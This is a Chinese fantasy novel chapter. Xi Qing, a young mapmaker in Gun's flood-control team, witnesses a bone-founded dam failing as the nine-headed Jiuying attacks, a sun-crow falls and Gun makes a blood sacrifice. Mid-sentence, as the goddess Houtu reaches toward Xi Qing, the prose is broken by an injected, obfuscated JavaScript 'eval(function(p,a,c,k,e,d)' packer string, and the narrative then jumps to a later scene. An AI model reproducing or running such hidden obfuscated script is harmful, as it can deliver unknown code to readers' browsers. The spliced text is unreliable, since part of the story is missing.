《禹贡:苍生鉴》 1. 第1章:雷泽溃堤 深秋的雨,不是落下,是倾倒。天河仿佛在头顶被撕裂,粗野的雨鞭狂暴地抽打着雷泽湖口这片名为桑林里的狭长堤岸。空气里弥漫着浓重的腥气,混杂着水草的腐味、远处桑林被浸泡的苦气,还有一种更深的、令人心悸的铁锈般的腥甜——那是深埋地底的尸骨与怨气被水唤醒的气息。 羲青,十五岁,因其出色的绘图天赋,在鲧的治水团队中担任绘图师。她腰间紧紧束着一条磨得发亮的旧皮带,左侧皮囊里装着一个墨玉星盘,右侧皮囊里盛着一袋兽骨片。这些兽骨上,是她用青铜小刀刻绘的堤坝图样、水道脉络,以及最重要的 —— 雷泽湖每日的水位标记。 鲧的治水团队,连同桑林里幸存的几十户人家,都挤在堤岸后方地势稍高的一处缓坡上。那里搭着简陋的窝棚和夯土的矮屋,屋前屋后见缝插针种着些耐涝的粟和桑树。此刻,狂风暴雨正撕扯着那些脆弱的屋顶,女人的哭喊和孩童的惊叫被淹没在雷声里。羲青下意识地攥紧了皮带,指尖触到砺前几日帮她加固的铜扣,那点冰凉竟奇异地让她镇定了一瞬。 砺,十七岁,身形削瘦挺拔。七年前,鲧在北方治水时,从洪水里捞起了这个全家覆灭的孤儿;如今,他既是鲧帐下奔走的信使,更是羲青生死与共的战友。羲青仍清晰记得,那年鲧带着砺来寻父亲羲仲辨析星野分野,八岁的她踮脚打帘,撞见十岁的少年站在厅柱暗处,眼神里充满戒备。 冰冷的雨水砸在镇泽台粗粝的瞭望石柱上,发出令人心慌的“噼啪”爆响。砺不知从哪扯来一大把浸透雨水的蒲草,三下五除二,用草绳将羲青死死捆在湿滑的柱身上。那力道勒得她肋骨生疼,却在腰侧特意松了半分,避开了她贴身藏着星盘的位置。 “抱紧柱子!青儿!”砺的吼声穿透震耳欲聋的雨幕,带着不容置疑的焦灼,“水位!给我盯紧了!”他指的是她腰间另一条更细的皮绳,上面打着大大小小、代表不同水位的绳结——这是她记录实时水位的工具。兽骨片则是用来整理成正式图录和水纹记录的。他的目光在她脸上匆匆扫过,带着一丝担忧。 羲青用力抹开糊住眼睛的雨水,努力睁大,辨认着下方浑浊湖面在石柱上留下的湿痕。怀中贴身藏着的,是父亲留下的唯一遗物——一个用墨玉雕刻的小小星盘,上面刻着简易的星宿方位。 羲青的母亲早逝,从小与父亲相依为命。父亲羲仲曾是观测星象、推算历法的星官。七年前,那场席卷人间的天河水初泄漏,父亲就开始以凡人之躯观测并推演那来自星辰的力量源头。一年前,羲仲经过无数次演算,终于锁定雷泽。他发现雷泽的雷电与天河水泄漏的能量有着奇特的共鸣,这里或许是揭开能量源头之谜的关键之地。雷泽常年雷电交加,水汽弥漫,寻常人不敢靠近,但羲仲为了心中的使命,毅然踏入这片险地,搭建了简易的观测台。 有一日,天空异常,星辰的位置诡异地变动着,天河水泄漏的能量似乎也变得躁动不安。羲仲全神贯注地盯着星盘,手中的笔在兽兽骨上飞速记录着数据,额头上渗出细密的汗珠,眼神却异常明亮。他感觉自己离真相只有一步之遥,那来自星辰的力量源头的轮廓,正在他的推演中逐渐清晰。 就在他即将算出最终结果的那一刻,意外发生了。或许是他的推演触动了某种禁忌,或许是雷泽的雷电与天河水能量的共鸣达到了临界点,天空中突然降下一道前所未有的巨大闪电,直直劈向他的观测台。那闪电中夹杂着天河水的幽蓝色能量,两者交织在一起,形成一股毁灭性的力量。片刻之后,雷电散去,雷泽又恢复了往日的模样,仿佛什么都没发生过。只是那座简易的观测台已化为一片焦土,而曾经潜心观测推演的羲仲,已融化成一具焦黑的枯骨,静静地躺在那里,身上还残留着被能量灼烧的痕迹,诉说着他最后时刻所经历的恐怖与壮烈。 “父亲当年……”父亲临终时那被星火灼烧得嘶哑不成调的话语,伴随着怀中星盘微微的、不正常的灼热感,在此刻漫天的雨水中清晰地回响起来。羲青想起一个更清晰的片段,是鲧后来告诉她的:一年前父亲羲仲登上祭天台,以自身精血为引,点燃了沟通天地的篝火,辅以古老的祷词和星盘指向。星光被奇异的力量牵引,在夜空汇聚,隐约映照出帝俊那宏大而漠然的身影,如同隔着无尽水幕。羲仲向天帝陈情人间哀鸿遍野、洪水滔天的惨状,恳请天神垂怜,出手平息这灭世之灾。 帝俊的声音如同从九天之外传来,宏大而疏离,带着一丝不易察觉的叹息:“天河,乃维系星辰运转之血脉。今下界怨魂沸腾,积郁千年,其戾气蚀穿地脉,竟攀附昆仑龙脊而上,冲撞天河结界,致使天河水倾泻。此乃尔人族自种之因果。天道循环,人族生于斯土,长于斯土,当自求存续之道。外力强予,非但无功,恐招更烈之反噬。汝等……好自为之。”言罢,星光散去,篝火骤然熄灭,留下的是绝望的父亲,和那句如同冰冷判决般的天帝箴言——灾厄源自人心,救赎亦在尔身。 帝俊话里的沉重与无奈,此刻正与这漫天的雨水一同,浸透羲青的骨髓。腰间的星盘,灼热得烫人。 桑林里村,这名字听起来带着几分乡野的宁静,却是一个被诅咒的地方。它像一颗顽固的骨鲠,死死卡在狂暴的雷泽湖与浩荡奔流、怀山襄陵的大河形成的凶险夹角之中。 七年前,洪水骤起,浊浪滔天,荡荡怀山襄陵 —— 连山峦都被洪流裹挟,沃野尽成泽国,哀鸿在浪尖上断续悲鸣。帝尧巡视四方,望着洪涛日夜噬吞土地,鬓发皆愁白。朝堂之上,叹息声不绝。当此存亡之际,鲧临危授命,接下司空之印 —— 这掌管水土的重职,便踏着泥泞遍历九州,以夯土筑堤之法硬撼洪流,在万里洪荒间筑起一道道三仞高的障水长墙。 一年前,鲧带着数十名忠心耿耿的部属——有善于辨识地势的老者,有力大无穷的壮士,也有懂得沟通天神的巫祝——跋涉至此。那时的桑林里,不过十几户被洪水逼到高地、靠采集野果和捕些浅滩鱼虾苟延残喘的人家。 鲧力排众议,选中这片被视为不祥之地的咽喉要冲筑堤。缘由,便沉在这片浑浊翻滚的雷泽湖底 —— 涿鹿古战场遗迹深处,藏着当年凝聚无数战魂与血煞之气的龙脉血石!—— 当年涿鹿之战,血流成河,鲜血渗入不周山地窍,经三千载地煞滋养已异化为龙形血石。共工撞断天柱引发的坤舆大崩中,这块吸饱古战场杀伐之气的凶石被地脉剧变裹挟,顺着天河水暗流最终卡在雷泽湖底的地窍喉关处。 七年治水路,鲧走的全是血泪与绝望铺就的道。洪水像喂不饱的凶兽,夯土填不满它的贪念:这边堤坝刚合缝,那边已冲开丈宽的缺口;灾民刚在高地搭起草棚,洪峰便漫过屋脊,把 “生路” 淹成 “死局”。惨状一次比一次烈,直到桑林里村撞进眼底,才成了他苦寻的、唯一能喘口气的治水突破口。 鲧带领着治水队伍,加上桑林里村和后来陆续逃难至此、被收留的数百村民——成了搬运巨木和巨石的主力;村里的老石匠带着人用石斧、石凿开山取石;妇孺们则编织着坚韧的藤索,鞣制兽皮制作工具,或在仅存的高地上照料着稀稀拉拉的粟田和桑林(桑叶养蚕,蚕丝和麻是重要的衣物来源)。鲧几乎不眠不休,他的身影永远在堤坝最危险的地方。他指挥队伍砍伐巨木,用藤索捆扎成巨大的木排沉入水底作为基础;他带领大家肩挑手扛,用藤筐装满泥土和碎石,一层层堆垒、夯实,筑起抵挡洪峰的土石长垣。 然而,每一次洪水冲击,都伴随着堤坝的崩塌和生命的消逝。绝望如同蔓草,一日日缠绕着所有人的心。洪水不仅没有退去,反而一次比一次凶猛,水中的妖物也愈发猖獗。为了增强堤坝的“力量”,在巫祝的建议下,他们不仅埋下了无数同伴的尸骨,也埋下了从涿鹿古战场遗迹中挖掘出的、沾染着远古战魂与怨气的骸骨,作为“基石”。 “以战魂怨气压水妖!”鲧曾指着湖心那终年不散的巨大漩涡,声音低沉如闷雷,对我解释,“此法虽邪,却是绝境之中,唯一能为我们人族争得一线喘息之机的生路!”他的眼神里,没有胜利者的骄傲,只有一种近乎绝望的决绝和深不见底的疲惫。 此刻,那湖心的巨大漩涡仿佛被无形的巨手搅动,旋转得更加疯狂。浑浊的湖水形成一个深不见底的漏斗。远处湖面,一点微弱昏黄的灯火在浪尖疯狂摇曳、挣扎,那是老芦公赖以生存的破旧木筏!刺耳的铜锣声撕心裂肺地穿透层层雨幕和雷声:“镇——泽——台——基——裂——了——啊——!” 那喊声未绝,一个巨浪猛地拍下,昏黄的灯火瞬间熄灭,连带着那撕心裂肺的警告,一同被漩涡吞噬。羲青下意识地看向砺,他正死死盯着湖心,握戈的手青筋暴起。 就在芦公的喊声被湖水吞没的瞬间,雷泽湖心那巨大的漩涡猛地向上一拱!一道庞大到遮蔽了本就黯淡天光的黑影,裹挟着冲天而起的腥臭水柱和刺鼻的硫磺气息,轰然破开水面! 那东西出现的刹那,砺甚至来不及转身,本能地用他的后背抵住羲青的后心,将她完全护在他与冰冷的石柱之间。那后背因极致的紧张而微微颤抖,却奇异地让她安心。 九婴! 这传说中的水火瘟神,人头蛇身,九头连体,就这样带着滔天的凶威降临在风雨飘摇的桑林里堤。蛇身粗壮如千年古榕,覆盖着赤红如烙铁般的厚重鳞甲,每一片鳞甲边缘都闪烁着金属般的冷光,缝隙间不断渗出粘稠腥臭的墨绿色液体。颈项之上,并非单头,而是九颗硕大狰狞的头颅!九头攒动,发出高低不同的嘶鸣尖啸,如同九重地狱的哀嚎同时奏响!脖颈连接处生着狰狞的逆鳍,如同倒插的骨刺匕首,随着头颅的摆动闪烁着寒芒。 居中最庞大的一颗蛇头,獠牙森白如矛,巨口开合间,喷吐出的并非寻常毒液,而是一种浓稠如沥青般的腐毒黑雾!那黑雾所过之处,连狂暴的雨滴都被瞬间腐蚀,发出“滋滋”的可怕声响,岸边的草木瞬间枯萎焦黑,沾上一点黑雾的堤岸泥石,竟如蜡油般开始融化、溃烂! 左右各四颗头颅,则分别掌控着截然相反的可怖力量!左侧三颗头颅喷吐的幽蓝火柱瞬间蒸干雨幕,王铁匠(村里唯一能修补简单铜器和石器的匠人)那刚刚用新伐硬木辛苦修葺好的、存放着全村过冬粟种的谷仓,被一道扫过的蓝焰擦中,连惊呼都来不及发出,便在一声震耳欲聋的“轰隆”巨响中,化作冲天火炬!右侧五颗头颅掀起的浊浪排空,狠狠砸向堤岸。就在那浑浊翻滚的浪涛尖上,羲青惊恐地瞥见蓍婆(村里懂得辨识草药、用兽骨占卜的老婆婆)最疼爱的小孙子小小的身影随波沉浮,瞬间被吞噬! “红姑——!这边!” 砺嘶吼着,试图引开九婴的注意。就在羲青因芦公的警告和九婴现身的恐怖而心神剧震时,砺已解开捆住羲青的草绳,一把将她拽下石柱,拖着她向更高、更靠近镇泽台核心的石阶上狂奔!他们必须去确认台基的裂缝!镇泽台是堤坝的核心枢纽,它若崩溃,整个桑林里将瞬间化为泽国! 砺急促的指令在耳边炸响:“记!青儿!火柱射程!毒涎范围……快!” 他话音未落,一声更加凄厉、更加疯狂的尖叫压过所有声音! “畜生——!还我丈夫命来——!” 红姑,这个平日里沉默寡言的女人,此刻状若疯魔!她不知何时冲到了堤岸最前沿,手里紧紧攥着一截断落的树枝!她双眼赤红,布满血丝,死死盯着九婴那喷吐着腐毒黑雾的居中巨口,仿佛那里吞噬的不是空气,而是去年那个同样狂暴的雨夜,被洪峰无情卷走的丈夫的身影!她用尽全身力气,将那根树枝狠狠捅进了九婴那颗巨大头颅的鼻孔! 时间仿佛凝固了一瞬。 九婴那颗居中头颅的动作猛地一滞,幽绿的蛇瞳闪过一丝难以置信的暴怒和……一丝被蝼蚁冒犯的羞辱。随即,巨口猛然张开,那不是喷吐,是吞噬!一个恐怖的吸力漩涡瞬间形成,红姑单薄的身影连同那根树枝,像一片枯叶般毫无反抗之力地被吸入了那深渊般的巨口之中! “红姑——!”砺目眦欲裂,手中的长戈几乎要被他捏碎! 就在红姑的身影消失在蛇口深处的刹那,异变陡生! 九婴蛇颈七寸处,那三道由鲧留下的、灰败翻卷的旧疤之一,毫无征兆地“噗”一声爆裂开来!一个巨大的血洞猛然炸开,墨绿色的腥臭血液如同喷泉般激射而出!更令人震惊的是,在那爆开的血洞边缘,一个浑身浴血的身影猛地探出了半截身子! 是红姑! 她竟未被咬碎吞下,反而在蛇口闭合前的刹那,奇迹般地卡在了蛇颈鳞片的缝隙之间!此刻的她,如同从地狱血池中爬出的复仇女神,脸上沾满了粘稠的蛇血,一只手臂诡异地扭曲着,但另一只手还死死握着那截树枝!她眼中燃烧着疯狂与刻骨的仇恨,无视了近在咫尺的獠牙和腥风,用尽最后一丝力气,将那截树枝,狠狠扎进了紧邻血洞的一颗喷吐着寒冰气息的蛇头的巨大眼瞳之中! 那被刺瞎的蛇头发出凄厉到极点的嘶鸣,疯狂甩动。红姑的身影如同断线的风筝,被甩飞出去,消失在下方汹涌翻滚的浊浪里,再无踪影。 砺无力地跪倒在地,呆呆地望着滚滚的波滔。羲青看着他颤抖的背影,心口像是被堵住,发不出任何声音。 就在此时,一道身影出现在堤岸的另一端。舜来了。谁都知晓,他是尧帝着力栽培的继承人 —— 只因尧之子丹朱难承大业,尧帝才决意将天下苍生托付于这位心怀万民的贤者,此番踏足桑林里村,正是为考察鲧主持的治水工程进展。 这位四十八岁的中年人,拄着一根磨得发亮的桑木杖 —— 那从不是借力的依靠,不过是探路防滑的辅助 —— 一步一步,沉稳而透着劲地踏过泥泞不堪、堆积着断木碎石的堤岸。他穿着最普通的麻布衣裳,早被泥水与血水浸透,却依旧整齐地贴在身上。两个疲惫不堪、浑身是伤的精悍亲卫一左一右跟随,警惕扫视险境却从不搀扶 —— 他素来同众人共劳,腰背始终挺得笔直,从不要特殊照料。裸露的小腿上爬着几只蚂蟥,他仿佛浑然不觉。 他的目光径直投向镇泽台基那不断扩大的、触目惊心的裂缝。他走到裂缝旁,俯下身,不顾亲卫的劝阻,伸出布满老茧和泥污的手,缓缓抚过裂缝的边缘。指尖触碰之下,裂缝中涌出的不再是浑浊的泥水,而是一种粘稠如沥青、散发着浓烈恶臭的黑油! “共工……是共工残留的怨魂……”舜的声音带着一种洞穿虚妄的力量和深沉的忧虑,“它们在啃噬湖底的龙脉石……这以尸骨怨气为根基的堤坝……根基已朽,大难将至……” 仿佛是为了印证他的话,脚下的堤岸传来一阵更加剧烈的震动。 砺像一头受伤的孤狼,猛地扑到镇泽台裂缝旁,徒手疯狂地扒开裂缝边缘松动的岩石和泥土。他的指甲翻裂,鲜血混入泥浆。突然,他的动作僵住了。他从岩缝深处,拽出了一根灰白色的、粗壮的人类腿骨!骨头上,用古老的刀刻痕迹,清晰地刻着几个字——“涿鹿营第三伍”。 一股冰冷的寒意瞬间攫住了砺。一年前,正是他们亲手将这些骸骨埋入堤坝的地基之中!羲青看着他骤然惨白的脸,悄悄往前挪了半步,想递给他一块干净些的麻布,却又不敢。 就在绝望如同冰冷的湖水即将淹没所有人的心脏时,雷泽湖心那巨大的漩涡中心,猛地炸开一道冲天的水柱!一个身影如同破水的蛟龙,裹挟着磅礴的水汽和刺骨的寒意,轰然落在摇摇欲坠的镇泽台上! 是鲧! 他浑身湿透,头发紧贴着脸颊。最令人触目惊心的是他的左臂——从肩膀到手腕,覆盖的筋肉竟已消失,只余下森森的白骨!断裂的骨茬上,还缠绕着几缕深绿色的、如同活物般蠕动的水草! “司空!”砺冲上前,声音带着哭腔和愤怒,“湖底……” 鲧抬手制止了他,目光扫过舜,最后落在羲青身上,那眼神复杂到了极点,有严厉,有期许,更有一种近乎托孤的沉重。他深吸一口气,声音嘶哑却清晰:“我见到了……共工残留的意志……它在嘲弄,在吞噬……龙脉石撑不了多久了……” 他突然转向羲青,眼中爆发出一种近乎疯狂的光芒,“羲青!你父亲羲仲!他临终前……不,是在那次观星失败前,他曾对我说过!他观测天象时,曾窥见昆仑天库之中,藏有神土‘息壤’!此土能自生自长,堙塞洪水!那是……那是唯一的希望!”他的话语如同惊雷,炸响在每个人心头。 “七年了!七年心血,无数性命,换来的只是苟延残喘!这邪法终遭反噬!若得息壤,方能真正根治水患,还人间清平!”他指着羲青腰间左侧皮囊里的墨玉星盘,“此图,或许藏着制服洪水的终极方法。羲青!你是羲仲血脉,是唯一可能解开此图奥秘的人!活下去!看懂它!若我……若我此行……” 他没有说下去,但眼中的决绝已说明一切——他已知晓此行凶险万分,九死一生,甚至十死无生!盗取天帝神物,魂散九幽几乎是必然的结局!但这绝望的七年,这摇摇欲坠的堤坝,这无数逝去的生命,逼得他只能铤而走险,为了天下苍生,向那渺茫的希望发起冲锋! 砺明白了鲧的意图,一步踏前:“司空!让我……” “啪!” 一声清脆响亮的耳光! 鲧带着雷霆般的怒意和难以言喻的悲怆,狠狠掴在砺的脸上!“混账!你的命!要护着羲青!护着她绘完《水经》!那是我们抗争的见证!是人族的希望!”他又朝向羲青:“记住!绘下这一切!山川、水脉、灾厄……终有一日,它能指引后人找到真正的生路!” 他指的已不仅仅是治水,更是一种对天地万物的记录。砺捂着脸,眼中却再无迟疑,只是深深地看了羲青一眼,那眼神里的郑重,重逾千钧。 此时,那被厚重铅云和狂暴雷雨遮蔽的天空,毫无征兆地裂开了一道巨大的缝隙!缝隙之中,并非阳光,而是一片刺目欲盲、流淌着熔金般的赤红!是太阳!不,是羲和驾驭的六龙金车失控了! 只见那由太阳精金锻造、本该永恒巡行于苍穹之上的宏伟金车,此刻正以一种疯狂倾斜、翻滚的姿态,从云层的裂缝中疾速坠落!拉车的六条神龙发出惊恐痛苦的龙吟,龙躯扭曲挣扎,龙鳞在失控的烈焰中片片剥落!更可怕的是,金车后方拖曳着的巨大金乌鸟笼,在剧烈的翻滚撞击中,一根粗壮的玉栏轰然断裂!一只浑身燃烧着熊熊日炎、象征着太阳本源力量的金乌神鸟,发出一声撕心裂肺的哀鸣,如同陨落的星辰,拖着长长的、赤金色的血焰尾迹,失控地朝着下方的大地——朝着桑林里堤的方向——斜斜坠落下来! “趴下——!所有人趴下——!”鲧发出撕心裂肺的警告,他几乎是本能地,用他那仅剩白骨、最为脆弱的左臂,猛地将身旁的尧帝扑倒在地! 羲青被砺死死按在冰冷的石台凹坑里。他的手紧紧护着她的头,掌心的温度透过湿透的衣裳传过来。抬头望去,那景象如同末日降临! 燃烧的金乌如同一颗巨大的熔金火球,擦着镇泽台的边缘轰然掠过!它伤口中喷洒出的、蕴含着恐怖太阳精火的熔金血滴,如同密集的火雨,泼洒而下! 一滴!仅仅一滴熔金血滴,擦过了羲青腰间的墨玉星盘边缘。那坚韧、浸染过父亲气息的星盘,顿时发出烧焦的气味!只见熔金血滴所落之处——堤岸旁那片曾经郁郁葱葱、为村民提供桑叶养蚕的古老桑林,如同被无形的巨手抹过,瞬间化作一片焦黑死寂的碳化地狱!所有的生机在太阳真火面前,脆弱得如同纸片! 烈火在焦土上疯狂蔓延,发出噼啪的爆响。在那跳跃的、扭曲的火焰光影中,羲青惊恐地看到一张熟悉而扭曲的脸孔在火光中凝聚、嘶吼——是蓍婆!她唯一的孙子刚刚葬身蛇腹,此刻她残存的怨念与恐惧,在太阳真火的灼烧下化为恶毒的诅咒:“尸堤……必溃!水妖……必出!用童男女祭……平息河伯之怒!快——祭啊——!”那凄厉的声音在火海中回荡,如同无数冤魂的合唱,狠狠冲击着每一个幸存者濒临崩溃的神经。砺按在她头上的手更紧了,生怕她受到一点伤害。 蓍婆怨毒的诅咒声还在焦灼的空气中回荡,脚下那片被金乌之血灼烧成焦炭的土地,突然传来一阵沉闷到令人心悸的撕裂声! “咔嚓——轰隆隆——!” 一道深不见底、蜿蜒如黑色巨蟒的恐怖深渊,毫无征兆地在镇泽台前猛然裂开!焦黑的泥土和碳化的树木残骸簌簌滑落深渊。一股混杂着硫磺、腐土和远古尘埃的阴冷气息,从深渊底部汹涌喷出。 就在这毁灭的裂隙边缘,一个身影缓缓浮现。 她并非从深渊中爬出,更像是从大地本身凝聚而成。她踏着不断滚落的骸骨与焦土,一步步走上这濒临破碎的人间炼狱。 是后土! 这位传说中执掌大地、孕育万物的女神,她的出现并非带着神祇的辉煌,反而充满了悲悯与沉痛的救赎气息。 她的外貌如同一位三十许的农妇,身形丰腴而坚韧,穿着一身最普通不过的赭色葛布衣裳,上面沾满了新鲜的泥浆,仿佛刚刚还在田间劳作。乌黑的长发简单地挽成一个髻,发髻上没有任何珠玉金银,只斜斜地插着几穗沉甸甸的金黄粟米和几朵不知名的的野花。她的面容并不惊艳,却带着一种大地般宽厚、包容、承载一切的宁静力量。唯有那双眼睛,深邃如同亘古的夜空,映照着大地的苦难与生机。 然而,那些幸存下来的亲卫和村民,他们惊惶的目光扫过深渊边缘,却仿佛什么也看不见!他们的脸上只有对深渊本身的恐惧。唯有羲青——一个刚刚目睹了金乌陨落、星盘焚毁的少女绘图员,以及那位被鲧护在身下的舜,他们的目光穿透了虚妄,清晰地看到了她的存在! 原来如此!唯有濒死之人,或身负特殊使命、灵觉洞开者,方可见后土真容! 后土的目光扫过这片满目疮痍的土地,最终落在了羲青的身上。她没有言语,只是轻轻抬起了手。后土的手掌并不细腻,指节因劳作而略显粗大,掌心布满了象征着丰饶与生命的纹路。她伸出食指,指尖带着一种无法形容的、温润如玉又厚重如土的微光,轻轻点向羲青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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随着这句判词,东南方向突然传来九声重叠的凄厉嘶吼,仿佛印证着地脉深处某个被唤醒的可怖存在。那深不见底的裂缝边缘,以及整个桑林里堤剧烈颤抖的地基之下,猛然伸出了无数只森森的白骨手臂!密密麻麻,层层叠叠,何止三万!那是一年来埋入堤坝地基的涿鹿古战场亡魂!它们的手爪穿透焦土,撕裂岩层,带着积郁了数千年的战意、怨气和不甘,疯狂地抓向鲧的双腿,要将他拖入那无尽的地狱深渊!每一只骨爪上都缠绕着肉眼可见的黑色怨气,发出无声却足以撕裂灵魂的尖啸! 面对后土的斥责,面对脚下无数索命的骨爪,鲧脸上没有任何恐惧或辩解。他猛地抬手,用那柄从不离身的、象征着治水权柄的青铜短匕,毫不犹豫地割开了自己颈侧的血管! “噗——!”一道滚烫的血瀑汹涌喷出,泼洒向镇泽台前那座由无数骸骨怨气凝聚、正蠢蠢欲动的骨山之上!“吾鲧!今日以命赎罪!以血封魂!”他的声音因失血而迅速虚弱,却带着一种撼天动地的决绝,“只求……换三日阳寿!三日!必平此劫——!” 奇迹再次发生! 他那蕴含着强大意志与生命本源力量的血液,泼洒在怨气冲天的骨山之上,竟发出“嗤嗤”的声响,如同滚油浇雪!那些狂躁舞动的白骨爪、翻腾的黑色怨气,在接触到血液的瞬间,仿佛被某种更古老、更霸道的力量强行镇压、熔铸!血光流转,骸骨山竟在轰鸣声中扭曲、变形,最终化作八根粗壮无比、盘绕着狰狞龙纹的巨大石柱!龙柱深深插入剧烈摇晃的堤坝裂缝和松软的地基之中,发出沉闷的巨响,硬生生抵住了即将彻底崩溃的堤岸!狂暴的洪水和九婴掀起的巨浪撞击在龙柱上,发出震耳欲聋的轰鸣,但堤坝……竟暂时稳住了! 暂时! 代价是鲧迅速灰败下去的脸色和颈间那触目惊心、仍在汩汩涌出血液的伤口!他的生命,如同风中残烛,正在这强行撑起的三日阳寿中飞速燃烧。 镇泽台暂时稳住了,但风雨依旧,九婴在远处湖中因剧痛和暴怒而翻腾咆哮,发出震天的嘶吼。天空的裂隙中,失控的金车和哀鸣的金乌仍在挣扎。 “我需要光亮!需要记录下刚刚发生的一切!尤其是九婴的弱点!”羲青大声叫喊着,声音因激动而微微发颤。 砺在混乱中塞给她一块冰冷的石头 —— 一块能发出微弱幽绿色光芒的萤石(这是他前几日在清理河道时特意为她寻来的)。借着这萤石幽暗、如同鬼火般的光,羲青颤抖着,从皮囊里摸索出一张空白兽骨,用小刀在上面飞速刻划:“《水经·凶兽篇》补录:九婴者,水火双生之古魔……九首各司其毒、火、冰、浪……居中毒首喷腐毒,沾之骨销……左三首喷吐幽蓝阳炎,金石可熔……右五首御水掀涛,力撼山岳……其要害在七寸,旧疤三处,乃镇海神锚所遗……破其七寸,非神兵利器不可为……需引其力,或以……龙脉石气机为引……方有……” 就在她全神贯注刻划之时,旁边的砺用拳头、用脚,甚至用头,狠狠撞击着镇泽台基一处被九婴毒涎腐蚀、又被洪水浸泡得格外松软的岩壁! “砰!砰!轰隆——!” 突然,那处岩壁在他不顾一切的撞击下,竟然向内塌陷出一个大洞!一股更加浓烈、更加阴寒的腐尸气息扑面而来!砺愣住了,他喘息着,伸手探进那黑暗的洞穴,摸索着。 当他将手抽出来时,沾满黑泥的手中,赫然捧着一个东西——一个布满青苔和泥垢、但形制古朴的龟甲!龟甲上缠绕着早已腐朽的草绳,上面依稀可见当年他们亲手刻下的符咒印记。 一年前,那个同样风雨交加的夜晚,羲青和砺,还有几个半大的孩子,在鲧的注视下,用他们稚嫩的手,笨拙却无比虔诚地在这块作为“阵眼”的龟甲上,刻下了四个承载着所有人希望的祭文大字——“镇水永固”。他们相信,这饱含他们心血的印记,连同地底的龙脉石和万千战魂,将为他们带来安宁。 然而此刻,砺用颤抖的手抹去龟甲上的泥垢和苔藓,借着萤石幽绿的光芒,他们看清了那上面的字迹。哪里还有什么“镇水永固”? 那四个字,连同他们当年刻下的稚嫩笔迹,竟像是被某种恶毒的力量扭曲、逆转!变成了一个散发着浓郁血腥和不祥气息的诅咒: “筑堤者骨为基, 治水者魂作浆。 九载期满日, 主祭葬汪洋。” 每一个字都仿佛在流淌着暗红的血,透出刻骨的怨毒和早已注定的宿命!九载期满……正是今年!正是此刻!主祭……葬汪洋…… 鲧拖着虚弱的身体走了过来。他低头看着砺手中那血咒龟甲,苍白的脸上竟浮现出一丝奇异的、近乎解脱的平静笑容。 “呵……原来如此……”他的声音轻得像一声叹息,带着看透一切的疲惫,“这祭坛……从一开始……就是为我备下的……” 祭坛……主祭……葬汪洋…… 绝望和一种巨大的不甘如同冰冷的潮水将羲青淹没。就在这时,她的手指无意中碰到了怀中一个硬硬的小东西。原来,在刚才混乱中,舜挣扎着站定在安全处时,曾向她招了招手。她跑过去,他什么也没说,只是从他那件沾满血泥的麻衣最里层,摸索出一个用桑叶层层包裹的小小物件,塞进了她的手里。触手温润微凉,带着泥土和谷物最朴实的芬芳。当时,她看也没看,就将它放进了腰间的皮囊中。 此刻,在这绝境之中,在鲧那近乎认命的平静笑容前,在砺手中那流淌着血咒的龟甲前,在脚下这无数尸骨奠基、靠鲧燃烧生命才勉强支撑的堤坝上,羲青猛地从皮囊里掏出了那个桑树叶包裹! 她用力剥开那几层早已被雨水浸透、变得柔软而坚韧的桑树叶。里面露出的,并非什么神兵利器,也非珍宝玉石。那是……一块小儿拳头大小、呈现出温暖米黄色的、压得极其紧实的东西。它由蒸煮过的上好粟米混合着采集来的、极其珍贵的野蜂蜜反复捶打揉捏而成,表面还精心粘着几颗饱满的、深紫色的野桑葚果干——这几乎是此时期,一个部族首领所能拿出的、最珍贵也最充满心意的“奢侈”食物了!它象征着丰收的祈愿,代表着长者的慈爱,是在这朝不保夕的洪水时代,最朴素也最温暖的“甜”与“希望”。 舜给羲青这个,或许是想在绝望中给她一丝慰藉,或许是长者对少女最本能的关怀。但此刻,看着砺手中那恶毒的龟甲血咒,看着鲧颈间不断渗出的暗金血液,看着八根蟠龙血柱下依旧汹涌咆哮的洪水……一个近乎孩子气的、完全不合时宜的念头,如同野火般在羲青心头疯狂滋生! 去你的血咒!去你的祭品!去你的葬汪洋! 凭什么?! 带着一种近乎宣泄的愤怒和一种渺茫到连自己都无法理解的祈望,羲青猛地将舜赐予的那块珍贵的、凝聚着粟米甘甜与野蜂蜜芬芳、象征着生命与美好的食物,狠狠地、用尽全身力气,塞进了砺手中那个布满血咒的龟甲——那象征着死亡、怨毒和宿命的容器——的裂隙之中! “嗡——” 就在那温暖的、散发着谷物甜香的食物接触到龟甲内部阴寒怨气的刹那,一道极其微弱、却无比纯净柔和的淡金色光芒,如同初生的晨曦,猛地从龟甲的裂隙中透射出来!那光芒虽然微弱,却带着一种不可思议的坚韧,如同蛛丝,又如同活物,瞬间缠绕上了羲青手中那卷残破的兽骨卷《水经》!光芒顺着兽骨的纹理流淌,所过之处,兽骨上被熔金血滴灼烧的焦痕似乎被抚平了一丝,刻划的字迹在幽绿的萤石光芒下也显得清晰了一瞬! 然而,这丝微弱的希望之光并未带来安宁。几乎在同一时间,一个冰冷、滑腻、充满了无尽恶意和嘲弄的声音,如同最毒的蛇信,直接钻进了羲青的耳膜深处,在羲青的脑海中炸响: “嗬嗬嗬……天真的小绘图师啊……”那声音带着远古水流的回响,是共工!那被镇压在湖底龙脉石下的共工残魂!“你以为……塞进一点可怜的‘甜’,就能逆转这以血与骨写就的宿命?可笑!可悲!你可知晓……你每在那些竹片上刻下一个字……每绘下一笔这洪水的‘形貌’……你那位亲爱的鲧……他的魂魄……就被昆仑息壤的‘渴望’……啃噬掉一分……直到……彻底……消散……嗬嗬嗬嗬……” 那恶毒的笑声在脑海中回荡,如同跗骨之蛆,带来刺骨的冰寒。 冰冷的雨点砸在羲青的脸上,混合着不知何时流下的泪水。怀中的兽骨卷,那卷承载着父亲遗志、鲧托付的《水经》,此刻却仿佛重若千钧,冰冷刺骨。每一次书写,都在加速鲧的消亡? 萤石的幽光,在风雨中明灭不定,映照着砺手中那透出微弱金芒的龟甲,映照着鲧颈间不断渗出的暗金血液,也映照着兽骨上刚刚写下的、关于九婴弱点的冰冷文字。砺伸手轻轻覆在她僵住的手上,在这绝望中想给予她一点支持。 远处,九婴的九颗头颅在雷暴与洪水中发出震天的咆哮,八根蟠龙血柱在巨浪的冲击下发出不堪重负的呻吟。 